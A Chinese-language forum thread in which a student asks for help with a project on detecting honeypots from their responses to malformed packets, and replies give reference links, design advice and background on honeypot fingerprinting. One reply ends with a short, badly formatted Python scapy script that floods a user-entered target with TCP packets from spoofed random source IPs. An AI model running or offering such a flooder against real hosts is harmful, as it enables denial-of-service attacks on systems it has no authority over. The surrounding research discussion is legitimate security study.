基于畸形包响应的蜜罐识别技术

功能需求:
1、能够识别网络节点的身份(知道谁是蜜罐谁是正常节点)
2、能够制作运行多个蜜罐的虚拟机(可以按照协议进行分类,如HTTP、SSH、Telnet三个协议各自对应一个虚拟机,每个虚拟机内运行着对应协议的服务,比如HTTP虚拟机内运行着http的蜜罐服务和http的正常服务)
3、能够基于boofuzz工具为HTTP、SSH、Telnet构造畸形包,并在第二步中进行实验,以挑选出具有最佳性能的畸形包(该畸形包具有使得相同协议的蜜罐服务和正常服务之间的行为相差巨大,同类服务之间行为相差小,且各类服务内的分布集中的特点)
4、能够将第三步得到的畸形包向已知的蜜罐节点发包,将得到的响应形成机器学习所需训练的黑数据,将模型进行训练。
5、能够向实网发送畸形包并利用训练好的模型对这步得到的相应进行分类,对比本方法的实验结果和一直的如Censys、钟馗之眼等扫描软件结果之间的差异

有没有大圣有能够帮帮忙

流程:
1、前期准备
1.1 HoneypotShip
1.2 非蜜罐节点
2、boofuzz
2.1 利用协议模糊测试得到畸形包
3.客户端将接收到的结果解密后显示到终端上.
2.2 利用畸形包在构造的服务器中获得对应的响应包
2.3 为每个畸形包得到的响应包计算相似度(用文本相似程度衡量两个请求包的相似情况:字段对齐,字段向量化)
2.4 根据各畸形包的Jaccard距离矩阵找出最佳畸形包
3、机器学习识别
3.1 使用机器学习的必要性
3.2 失去“标准答案”以致和“好学生”的对比失去意义
3.1 利用Fofa/Shodan/ZoomEye扫描ternet中蜜罐
3.2 向上节得到的蜜罐节点发送SSH、HTTP的畸形包
3.3 向Internet发送HTTP、SSH畸形包
3.4 比对结果中可能出现的情况

里面有代码,保证实现你的功能
https://ir.library.louisville.edu/cgi/viewcontent.cgi?article=1615&context=etd
https://eprints.qut.edu.au/31833/1/Saleh_Almotairi_Thesis.pdf

这是kippo蜜灌代码


里面实现了基本的蜜罐功能,希望对你会有一些帮助

你好,这是基于畸形包响应的蜜罐识别技术,可以满足你的需求


基于蜜罐特征的蜜罐识别技术 - 豆丁网 豆丁网是面向全球的中文社会化阅读分享平台,拥有商业,教育,研究报告,行业资料,学术论文,认证考试,星座,心理学等数亿实用文档和书刊杂志。 https://www.docin.com/p-775255522.html

可以参考如下链接,讲解了如何搭建蜜罐及获取攻击者信息
https://blog.csdn.net/weixin_42859280/article/details/115607187
https://zhuanlan.zhihu.com/p/134705386

你好,可以参考一下。
https://ishare.iask.sina.com.cn/f/21205290.html

https://wenku.baidu.com/view/f98b1a0403d8ce2f0066230d.html
这篇文章讲的很全面,需要可以下载下,仅供参考!

可以参考这个
https://www.docin.com/p-1517346225.html

https://github.com/desaster/kippo
GitHub的

你这不是一个问题。是一个大论文呀。

“蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。你看看这篇文章对你有帮助么
https://www.doc88.com/p-7078330481203.html

这个是个大系统,建议先着手构建,有问题在此提出来,毕竟这里是问答平台,直接要代码不是太提倡。

可以参考如下链接
https://blog.csdn.net/weixin_42859280/article/details/115607187
https://zhuanlan.zhihu.com/p/134705386
https://ishare.iask.sina.com.cn/f/21205290.html

在Web安全攻防对抗中,攻击模式一般分为2种:非定向Web攻击和定向Web攻击。非定向Web攻击的目的往往是利用漏洞获取资源,攻击者通过威胁情报或者漏洞挖掘等方式掌握了较新的漏洞利用方式,基于此编写漏洞批量利用脚本,自动化、无差别地对互联网上的Web应用进行漏洞探测与利用,以此获取更多的“肉鸡”资源用于跳板机、挖矿以及组建僵尸网络等目的。由于这种攻击方式不是针对特定的个体或者组织,所以称之为非定向Web攻击。与之相对应,攻击者具有很明确的目的性,针对特定个体或者组织发起的攻击就称为定向Web攻击。

这个其实你自己的需求已经很完整了,就按照需求里面的一步步实现功能就可以了。


1、这基本算是一个小系统了

里面五条需求,基本每一条都需要专门的时间和代码逻辑来研究实现,
所以建议你一条一条的罗列来进行分析实现

2、这边只能给你说下大致的这个系统的拆分思路和实现方法

系统拆分的话,简单快速的话大致下面这种方法来拆分:
以第一点为例:
第一点:识别网络节点的身份,
你可以不管里面的具体代码逻辑和如何实现的,
你需要提供的只是两点:
输入是什么
输入指的是数据输入的文件,什么形式的数据输入
在实际系统应用中,应该是怎样的方式来获取的数据输入信息

输出是什么
输出指的是函数处理的输出文件,

这点你需要考虑跟下一步对接的问题,
因此对输出格式,如何被下一步调用需要更高的要求。

然后下一步
输入是什么
上一步的输出文件或者输出结果

输出是什么
下一步需要的输出文件和输出结果,格式要求

这样一步步拆分来自己做或者安排别人做实现你想要的功能


至于你想要的代码实现,这个毕竟是个系统,而且这种不知道环境和具体实际情况,
建议你拆分成小部分来找人或者自己开发实现。


一些可能有所帮助的参考链接:

进来学习一下

首先你具体需求已经有了,只要按照需求一步步走下去就可以了,具体的链接我就不发了 毕竟上面那么多的链接就足够你把这个需求做出来了,到时候出现不能解决的报错或者没有头绪的时候再发起提问吧

跟这个论文差不多
https://www.docin.com/p-1517346225.html

出现了配置失真,也就是说在一台机器上出现了两种不同平台的服务,举个例子:运行一个Windows的Web服务器同时运行了一个Linux的FTP服务器,这样的话就出现了配置失真。使用nmap -sV这个方法可以来观察开启的服务,如果发现了平台与服务不匹配的,说明这很有可能就是一个蜜罐。与低交互蜜罐检测最主要的方式是通过网络,这样就意味着低交互蜜罐运行在一个具有正常操作系统的,只要是在操作系统中,不可能把所有的资源都分配给蜜罐,所以如果在蜜罐中执行一个很繁琐很耗资源的操作,这样蜜罐就会和其他服务进程去争抢资源,最直观的感受就是蜜罐的反应速度会慢下来。但是我们通常不具备这个权限来访问这种类型的服务或者是进程,所以我们必须得考虑从网络通信入手,增加蜜罐的操作负载,如果换一个角度想,可不可以让其他的服务去和蜜罐争抢资源,来拖慢蜜罐的反应速度,举个例子比如说如果蜜罐系统和一个web服务器同时运行在一台机器上,我们可以从web服务器入手,去给web服务器发送大量http请求,导致web服务器抢占大量计算机资源用来处理请求。这样就会让蜜罐的反应慢下来。

# coding = utf-8from scapy.all import *
from threading import Thread,activeCount
from random import randint
class Loop(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)        self.remoteAddr = remoteAddr
    def run(self):
        ip = str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\             +str(randint(0,255))+'.'\             +str(randint(0,255))        sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)class Main(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)        self.remoteAddr = remoteAddr
    def run(self):
        limit = 140
        total = 0
        while True:
            if activeCount() < limit:
                Loop(remoteAddr = self.remoteAddr).start()
                total = total + 1
            print 'HTTP Flood Test:',total
if __name__ == '__main__':
    remoteAddr = raw_input('IP=')    Main(remoteAddr = remoteAddr).start()

可参考
https://www.zhihu.com/question/31213254/answer/137153019

github